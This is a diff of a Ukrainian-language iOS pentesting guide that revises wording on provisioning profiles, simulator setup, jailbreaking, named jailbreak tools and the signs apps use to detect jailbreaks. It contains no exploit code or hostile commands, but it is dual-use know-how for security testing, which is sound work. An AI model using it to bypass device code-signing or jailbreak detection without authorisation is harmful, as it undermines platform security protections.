Виберіть ненадійний профіль і натисніть "**Trust**". -Зверніть увагу, що **додатки, підписані одним і тим же сертифікатом підпису, можуть безпечно ділитися ресурсами, такими як елементи ключового сховища**. +Зверніть увагу, що **додатки, підписані одним і тим же сертифікатом підпису, можуть безпечно ділитися ресурсами, такими як елементи ключа**. Профілі provisioning зберігаються всередині телефону в **`/Library/MobileDevice/ProvisioningProfiles`** @@ -20,16 +20,16 @@ ### **Simulator** -Перше, що вам потрібно знати, це те, що **виконання pentest всередині симулятора буде набагато більш обмеженим, ніж на jailbroken device**. +Перше, що вам потрібно знати, це те, що **виконання pentest всередині симулятора буде набагато більш обмеженим, ніж виконання на jailbroken device**. Усі інструменти, необхідні для створення та підтримки iOS додатка, **офіційно підтримуються лише на Mac OS**.\ -Фактичний інструмент Apple для створення/налагодження/інструментування iOS додатків - це **Xcode**. Його можна використовувати для завантаження інших компонентів, таких як **симулятори** та різні **версії SDK**, необхідні для створення та **тестування** вашого додатка.\ +Дефакто інструмент Apple для створення/налагодження/інструментування iOS додатків - це **Xcode**. Його можна використовувати для завантаження інших компонентів, таких як **симулятори** та різні **версії SDK**, необхідні для створення та **тестування** вашого додатка.\ Рекомендується **завантажити** Xcode з **офіційного магазину додатків**. Інші версії можуть містити шкідливе ПЗ. Файли симулятора можна знайти в `/Users//Library/Developer/CoreSimulator/Devices` Щоб відкрити симулятор, запустіть Xcode, потім натисніть на _Xcode tab_ --> _Open Developer tools_ --> _Simulator_\ -\_\_На наступному зображенні, натискаючи на "iPod touch \[...]", ви можете вибрати інший пристрій для тестування: +\_\_На наступному зображенні, натискаючи на "iPod touch \[...\]", ви можете вибрати інший пристрій для тестування: ![](<../../images/image (270).png>) @@ -37,7 +37,7 @@ ### Applications in the Simulator -Всередині `/Users//Library/Developer/CoreSimulator/Devices` ви можете знайти всі **встановлені симулятори**. Якщо ви хочете отримати доступ до файлів програми, створеної в одному з емуляторів, може бути важко дізнатися, **в якому з них встановлено додаток**. Швидкий спосіб **знайти правильний UID** - виконати додаток у симуляторі та виконати: +Всередині `/Users//Library/Developer/CoreSimulator/Devices` ви можете знайти всі **встановлені симулятори**. Якщо ви хочете отримати доступ до файлів програми, створеної всередині одного з емуляторів, може бути важко дізнатися, **в якому з них встановлено додаток**. Швидкий спосіб **знайти правильний UID** - виконати додаток у симуляторі та виконати: ```bash xcrun simctl list | grep Booted iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted) @@ -54,24 +54,28 @@ Corellium є єдиним публічно доступним емуляторо ## Необхідність джейлбрейку -Перегляньте цей блог про те, як провести pentest iOS-додатку на **не джейлбрейкнутому пристрої**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) +Перегляньте цей блог-пост про те, як провести тестування iOS-додатка на **не джейлбрейкнутому пристрої**: + +{{#ref}} +ios-pentesting-without-jailbreak.md +{{#endref}} ## Джейлбрейк -Apple суворо вимагає, щоб код, що виконується на iPhone, був **підписаний сертифікатом, виданим Apple**. **Джейлбрейк** - це процес активного **обходу таких обмежень** та інших заходів безпеки, встановлених ОС. Тому, як тільки пристрій джейлбрейкнуто, **перевірка цілісності**, яка відповідає за перевірку встановлених додатків, патчується, тому вона **обходиться**. +Apple суворо вимагає, щоб код, що виконується на iPhone, був **підписаний сертифікатом, виданим Apple**. **Джейлбрейк** — це процес активного **обходу таких обмежень** та інших заходів безпеки, встановлених ОС. Тому, як тільки пристрій джейлбрейкнуто, **перевірка цілісності**, яка відповідає за перевірку встановлених додатків, патчується, тому вона **обходиться**. > [!NOTE] -> На відміну від Android, **ви не можете перейти в "Режим розробника"** в iOS, щоб запустити непідписаний/недовірений код на пристрої. +> На відміну від Android, **ви не можете перейти в "Режим розробника"** в iOS, щоб запускати непідписаний/недовірений код на пристрої. ### Рутинг Android vs. Джейлбрейк iOS Хоча їх часто порівнюють, **рутинг** на Android і **джейлбрейк** на iOS є принципово різними процесами. Рутинг Android-пристроїв може включати **встановлення бінарного файлу `su`** або **заміна системи на рутований кастомний ROM**, що не обов'язково вимагає експлойтів, якщо завантажувач розблоковано. **Флешинг кастомних ROM** замінює ОС пристрою після розблокування завантажувача, іноді вимагаючи експлойт. -На відміну від цього, пристрої iOS не можуть флешити кастомні ROM через обмеження завантажувача, який дозволяє завантажувати лише образи, підписані Apple. **Джейлбрейк iOS** має на меті обійти захист підписування коду Apple, щоб запустити непідписаний код, процес, ускладнений постійними покращеннями безпеки Apple. +На відміну від цього, пристрої iOS не можуть флешити кастомні ROM через обмеження завантажувача, який дозволяє завантажувати лише образи, підписані Apple. **Джейлбрейк iOS** має на меті обійти захист підписування коду Apple, щоб запускати непідписаний код, процес, ускладнений постійними покращеннями безпеки Apple. ### Виклики джейлбрейку -Джейлбрейк iOS стає все більш складним, оскільки Apple швидко патчує вразливості. **Пониження iOS** можливе лише протягом обмеженого часу після випуску, що робить джейлбрейк справою, що залежить від часу. Пристрої, що використовуються для тестування безпеки, не повинні оновлюватися, якщо повторний джейлбрейк не гарантований. +Джейлбрейк iOS стає все складнішим, оскільки Apple швидко патчує вразливості. **Пониження iOS** можливе лише протягом обмеженого часу після випуску, що робить джейлбрейк справою, чутливою до часу. Пристрої, що використовуються для тестування безпеки, не повинні оновлюватися, якщо не гарантовано повторне джейлбрейк. Оновлення iOS контролюються **механізмом виклику-відповіді** (SHSH blobs), що дозволяє встановлення лише для підписаних Apple відповідей. Цей механізм, відомий як "вікно підписання", обмежує можливість зберігати та пізніше використовувати OTA пакети прошивки. Вебсайт [IPSW Downloads](https://ipsw.me) є ресурсом для перевірки поточних вікон підписання. @@ -84,7 +88,7 @@ Apple суворо вимагає, щоб код, що виконується н ### Інструменти та ресурси для джейлбрейку -Інструменти для джейлбрейку варіюються в залежності від версії iOS та пристрою. Ресурси, такі як [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) та [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/), надають актуальну інформацію. Приклади включають: +Інструменти для джейлбрейку варіюються в залежності від версії iOS та пристрою. Ресурси, такі як [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) та [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) надають актуальну інформацію. Приклади включають: - [Checkra1n](https://checkra.in/) для пристроїв з чіпами A7-A11. - [Palera1n](https://palera.in/) для пристроїв Checkm8 (A8-A11) на iOS 15.0-16.5. @@ -104,10 +108,10 @@ basic-ios-testing-operations.md ### **Виявлення джейлбрейку** -**Кілька додатків намагатимуться виявити, чи мобільний пристрій джейлбрейкнуто, і в такому випадку додаток не запуститься** +**Декілька додатків намагатимуться виявити, чи є мобільний пристрій джейлбрейкнутим, і в такому випадку додаток не запуститься** -- Після джейлбрейку на iOS **файли та папки зазвичай встановлюються**, їх можна шукати, щоб визначити, чи пристрій джейлбрейкнуто. -- У джейлбрейкнутому пристрої додатки отримують **доступ на читання/запис до нових файлів** поза пісочницею. +- Після джейлбрейку на iOS **файли та папки зазвичай встановлюються**, їх можна шукати, щоб визначити, чи є пристрій джейлбрекнутим. +- У джейлбрекнутому пристрої додатки отримують **доступ на читання/запис до нових файлів** поза пісочницею. - Деякі **виклики API** **поведуться інакше**. - Наявність служби **OpenSSH**. - Виклик `/bin/sh` **поверне 1** замість 0.